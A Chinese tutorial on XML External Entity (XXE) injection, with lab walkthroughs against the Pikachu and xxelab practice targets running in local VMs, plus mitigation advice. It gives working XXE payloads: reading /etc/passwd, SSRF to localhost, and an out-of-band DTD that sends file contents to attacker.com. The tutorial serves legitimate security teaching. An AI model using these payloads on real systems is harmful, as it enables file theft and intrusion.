网站首页 全球最实用的IT互联网站!

人工智能P2P分享Wind搜索发布信息网站地图标签大全

当前位置:诺佳网 > 软件工程 > 其他技术区 > 网络安全 >

XXE基础--pikachu,xxelab

时间:2026-03-06 11:14

人气:

作者:admin

标签:

导读:一、XML 基础结构 XML(Extensible Markup Language)是一种 用于存储和传输数据的标记语言。 示例 lt;?xml version=quot;1.0quot; encoding=quot;UTF-8quot;?gt; lt;usergt; lt;nam...

XML(Extensible Markup Language)是一种 用于存储和传输数据的标记语言

示例

<?xml version="1.0" encoding="UTF-8"?>
<user>
    <name>Alice</name>
    <age>20</age>
</user>

组成:

部分 作用
<?xml ...?> 声明
<user> 根节点
<name> 元素
Alice 数据

XML特点:

  • 必须有 一个根节点
  • 标签 必须闭合
  • 区分大小写

XXE漏洞的核心几乎都和 DTD 有关。

DTD 用来 定义 XML 的结构和规则

示例

<!DOCTYPE user [
    <!ELEMENT user (name, age)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
]>

解析:

语句 含义
<!DOCTYPE user> 声明DTD
<!ELEMENT> 定义元素
#PCDATA 文本数据

DTD可以 内联外部引用

实体是 DTD中最关键的部分,也是XXE漏洞利用的核心

实体类似 变量替换

内部实体

<!DOCTYPE user [
  <!ENTITY name "Alice">
]>

<user>
  <name>&name;</name>
</user>

解析后:

Alice

外部实体可以引用 本地文件 / URL

这就是 XXE漏洞的来源。

示例

<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<data>
  &xxe;
</data>

如果解析器允许外部实体,就会读取:

/etc/passwd

然后返回内容。

XXE(XML External Entity Injection)

本质:

XML解析器解析外部实体 → 攻击者控制实体 → 读取服务器资源

典型流程:

  1. 应用接收 XML
  2. XML解析器解析DTD
  3. 外部实体被加载
  4. 服务器文件被读取

1 读取服务器文件

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<foo>
  &xxe;
</foo>

2 SSRF(访问内网)

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>

<foo>
  &xxe;
</foo>

服务器会访问:

http://127.0.0.1:8080/admin

3 OOB XXE(带外攻击)

当数据无法直接回显时:

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
%xxe;
]>

服务器会去请求攻击者服务器。

4 读取文件并外带

攻击者服务器:

http://attacker.com

DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#37; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

常见解析器:

语言
Java DOM4J / SAX / JAXP
Python lxml
PHP SimpleXML
.NET XmlDocument

常见接口:

  • SOAP
  • SAML
  • XML API
  • 文件上传

核心原则:

1 禁用外部实体

Java示例:

factory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl", true);

2 禁用外部DTD

external-general-entities = false
external-parameter-entities = false

3 使用安全解析库

例如:

Python

from defusedxml import ElementTree
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<root>
  &xxe;
</root>

如果存在漏洞:

服务器返回:

root:x:0:0:root:/root:/bin/bash

Pikachu

  • 输入如下xml代码:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY file "hello">
    ]>
    
    <root>
    <file>&file;</file>
    </root>
    

    输出结果如下:
    1
    没有输出,应该是blind xxe.

  • 检查xml是否支持外部实体访问网络:

    • 打开网站dnslog.cn,点击Get SubDomain,生成一个子域名
      2
    • 构造xml代码如下:
      <?xml version="1.0"?>
      <!DOCTYPE root [
      <!ENTITY url SYSTEM "http://6v3qrd.dnslog.cn">
      ]>
      
      <root>
      <file>&url;</file>
      </root>
      
    • 输入到pikachu靶场,再去dnslog.cn点击Refresh Record,显示如下:
      3
      可以看到,有访问记录,证明有xxe漏洞。

XXE-lab

  • 打开网页,显示如下:
    4
    在目前网页的每个input中输入不一样的值.

  • 开启Burp Suite抓包,得到的数据包如下:

    POST /process.php HTTP/1.1
    Host: 192.168.103.130:9040
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.103.130:9040/
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 119
    Origin: http://192.168.103.130:9040
    Connection: keep-alive
    Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low
    Priority: u=0
    
    <?xml version="1.0" encoding="UTF-8"?>
    <root>
    <name>11</name>
    <tel>22</tel>
    <email>33</email>
    <password>44</password>
    </root>
    

    可以清楚的发现使用了xml来传输数据

  • 直接修改http数据包

    POST /process.php HTTP/1.1
    Host: 192.168.103.130:9040
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.103.130:9040/
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 119
    Origin: http://192.168.103.130:9040
    Connection: keep-alive
    Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low
    Priority: u=0
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY air "hello">
    ]>
    <root>
    <name>11</name>
    <tel>22</tel>
    <email>&air;</email>
    <password>44</password>
    </root>
    
  • response显示如下:
    5
    下面的红色字体显示出应该存在xxe漏洞。

  • 读取文件:将http数据包修改为如下

    POST /process.php HTTP/1.1
    Host: 192.168.103.130:9040
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.103.130:9040/
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 119
    Origin: http://192.168.103.130:9040
    Connection: keep-alive
    Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low
    Priority: u=0
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY air SYSTEM "file:///etc/passwd">
    ]>
    <root>
    <name>11</name>
    <tel>22</tel>
    <email>&air;</email>
    <password>44</password>
    </root>
    

    红色字体已显示:
    6


I.硬件(电脑)

Apple Mac mini M4 (24G)

II.软件(vmware虚拟机)

  • ubuntu作为靶机
    • IP: 192.168.103.130
    • arm64
    • Ubuntu 24.04.3 LTS
  • kali作为攻击机
    • IP: 192.168.103.128
    • arm64
    • Kali GNU/Linux Rolling
    • 浏览器:Firefox

pikachu靶场安装

ubuntu中安装docker靶场:homins/pikachu:latest

# 拉取docker镜像
sudo docker pull hominsu/pikachu

# 为镜像创建容器,并运行
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu # pikachu 端口设为 8082

xxelab靶场安装

  • 下载github库:

    git clone https://github.com/jbarone/xxelab.git
    
  • 构建xxelab镜像:

    sudo docker build -t xxelab .
    
  • 创建运行容器:

    sudo docker run -dt --name xxelab -p 9040:80 xxelab  # xxe 端口设为 9040
    

???? 不一定对,如有错误,欢迎指出????。

温馨提示:以上内容整理于网络,仅供参考,如果对您有帮助,留下您的阅读感言吧!
相关阅读
本类排行
相关标签
本类推荐

CPU | 内存 | 硬盘 | 显卡 | 显示器 | 主板 | 电源 | 键鼠 | 网站地图

Copyright © 2025-2035 诺佳网 版权所有 备案号:赣ICP备2025066733号
本站资料均来源互联网收集整理,作品版权归作者所有,如果侵犯了您的版权,请跟我们联系。

关注微信